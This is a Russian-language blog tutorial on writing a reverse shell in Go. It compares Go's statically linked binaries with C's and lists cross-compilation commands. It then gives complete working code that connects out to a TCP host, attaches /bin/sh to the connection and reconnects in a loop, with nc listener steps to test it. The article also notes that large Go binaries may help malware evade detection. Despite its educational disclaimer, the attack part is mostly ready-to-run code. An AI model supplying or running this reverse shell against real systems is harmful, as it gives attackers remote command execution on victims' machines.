Как стать автором
Обновить

Пишем ReverseShell на Golang

Уровень сложностиПростой
Время на прочтение4 мин
Количество просмотров3.9K

Ну что, Go?

С годами малыш Golang завоевал популярность среди разработчиков и конено же у специалистов по информационной безопасности и хакеров. Как это часто бывает, он привлекает внимание и разработчиков вредоносного программного обеспечения ( ВПО ). Использование Go — заманчивый выбор для разработчиков вредоносных программ, поскольку он поддерживает кросс-компиляцию для запуска двоичных файлов в различных операционных системах. Компиляция одного и того же кода для всех основных платформ (Windows, Linux, macOS) значительно упрощает жизнь злоумышленнику, поскольку ему не нужно разрабатывать и поддерживать разные кодовые базы для каждой целевой среды. Сегодня будут рассмотрены следующие темы:

  1. Особенности языка

  2. Отличия от языка программирования C

  3. Как написать ReverseShell

Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий.

Специалист который знает как написать reverse shell на разных языках, в реальных условиях сможет обнаружить его не задумываясь.

Бинарные файлы Go обычно статически связаны, что означает, что все необходимые библиотеки включены в скомпилированный бинарный файл. Это приводит к большим двоичным файлам, что затрудняет распространение ВПО для злоумышленников. С другой стороны, некоторые продукты безопасности также имеют проблемы с обработкой больших файлов. Это означает, что большие двоичные файлы могут помочь вредоносам избежать обнаружения. Другое преимущество статически связанных двоичных файлов для злоумышленников заключается в том, что ВПО может работать на целевых системах без проблем с зависимостями.

Компилятор Go создает единый нативный исполняемый файл:

  1. PE, ELF, Mach-O или динамическую библиотеку (.DLL, .so)

  2. У исполняемого файла нет зависимостей

  3. Размер программы получается довольно большой

Нет зависимостей у исполняемого файла, потому что компилятор статически линкует всё, что только есть. Отсюда и проблема в размерах самой программы. Для сравнения напишу две одинаковые программы на языке C и Go. Там будет видна разница между размерами программ.

#include <stdio.h>

int main()
{
	printf("Hello world!\n");
	return 0;
}
package main
import "fmt"

func main() {
	fmt.Println("Hello world!")
}

Настало время для сравнения. Сначала исполняемый файл написанный на языке программирования C:

$ file helloworld.out
helloworld.out: ELF 64-bit LSB pie executable,
x86-64, version 1 (SYSV), dynamically linked, 
interpreter /lib64/ld-linux-x86-64.so.2, 
BuildID[sha1]=cb1ebee9841fa4617fdce3d6dec7eb92bdf22b9c, 
for GNU/Linux 3.2.0, not stripped

Теперь на языке Go:

$ file helloworld
helloworld: ELF 64-bit LSB executable,
x86-64, version 1 (SYSV), statically linked, 
Go BuildID=jx-LKi0DT7yq57_axZ50/-J9pvge2spIs3FF3p1rK/Y4F2OzaI1qbHT_1sjjNT/D18AWb4kE2QlnH3iGjj-, not stripped

Первая разница уже видна. Она заключается в динамической и статической линковке соответсвенно. Теперь различия в размерах программ:

$ ll
total 1,7M
-rwxrwxr-x 1 ap_security ap_security 1,7M авг 15 23:21 helloworld
-rwxrwxr-x 1 ap_security ap_security  16K авг 15 23:23 helloworld.out

Теперь перейдем к установке Golang и к видам компиляции

Установить Go проще простого

C:\ choco install golang // Windows
sudo apt install golang // Linux
sudo brew install golang // MacOS

Компилировать программу на Golang можно многими способами:

  1. Компиляция под текущую платформу go build main.go

  2. Запуск программы как скрипта go run main.go

  3. Создание исполняемого файла для Windows из Linux GOOS=windows go build main.go

  4. Создание исполняемого файла для Linux из Windows $env:GOOS=linux; go build .\main.go

  5. Создание WebASM приложения GOOS=js GOARCH=wasm go build -o hello.wasm

  6. Компиляция под MacOS GOOS=darwin go build main.go

Компиляция под специфичную архитектуру:

  1. GOARCH=386 go build main.go

  2. GOARCH=adm64 go build main.go

  3. GOARCH=arm64 go build main.go

  4. GOARCH=mips64 go build main.go

Теперь настало время для написания ReverseShell на языке Go.

Сначала идет указание пакета main. Это необходимо, потому что он определяет, что это исполняемый файл, а не библиотека. В данном пакете имеется функция main(), которая определяет начало выполнения программы.

Дальше необходимо указать компилятору, какие пакеты необходимы для данного файла. Эти проблемы решают объявления import. Так как для написания revereshell будут нужны ряд пакетов, их можно указывать все поочередно в скобочках. Необходимые пакеты:

  1. net - содержит основной функционал по работе с сетью

  2. os/exec - позволит запускать программы

  3. time - нужен для создания паузы при работе программы

Таким образом, заголовок программы выглядит так:

package main
import (
	"net"
	"os/exec"
	"time"
)

Далее необходимо открыть TCP подключение к серверу и проверить подключение. Для этого создадим две переменные conn и error_tcp. Если есть проблемы с подключением, то рекурсивно повторяем операцию. Если соединение прервано, то ожидаем новое. Так избавимся от ошибок и падения программы:

conn, error_tcp := net.Dial("tcp", host)
if nil != error_tcp {
	if nil != conn {
		conn.Close()
	}
	time.Sleep(time.Minute)
	payload(host)
}

Осталось только запустить Bash и дублировать файловые дескрипторы. В кратце, осталась классическая часть для reverseshell:

shell := exec.Command("/bin/sh")
shell.Stdin, shell.Stdout, shell.Stderr = conn, conn, conn
shell.Run()
conn.Close()
payload(host)

Таким образом, полная программа выглядит так:

package main
import (
	"net"
	"os/exec"
	"time"
)

func main() {
	payload("127.0.0.1:1337")
}

func payload(host string) {
	conn, error_tcp := net.Dial("tcp", host)
	if nil != error_tcp {
		if nil != conn {
			conn.Close()
		}
		time.Sleep(time.Minute)
		payload(host)
	}
	
	shell := exec.Command("/bin/sh")
	shell.Stdin, shell.Stdout, shell.Stderr = conn, conn, conn
	shell.Run()
	conn.Close()
	payload(host)
}

Проверим работоспособность

  1. В одном терминале запустить скрипт go run reverse.go

  2. Во втором терминале открыть подключение nc -lvnp 1337

Если вы дошли до конца и у Вас все получилось, то Вы большой молодец и Вам пора переходить к более сложным примерам, жду от вас отклик и предложения для следующих статей в комментариях.

Теги:
Хабы:
Всего голосов 14: ↑5 и ↓9-4
Комментарии8

Публикации

Истории

Работа

Ближайшие события

25 – 26 апреля
IT-конференция Merge Tatarstan 2025
Казань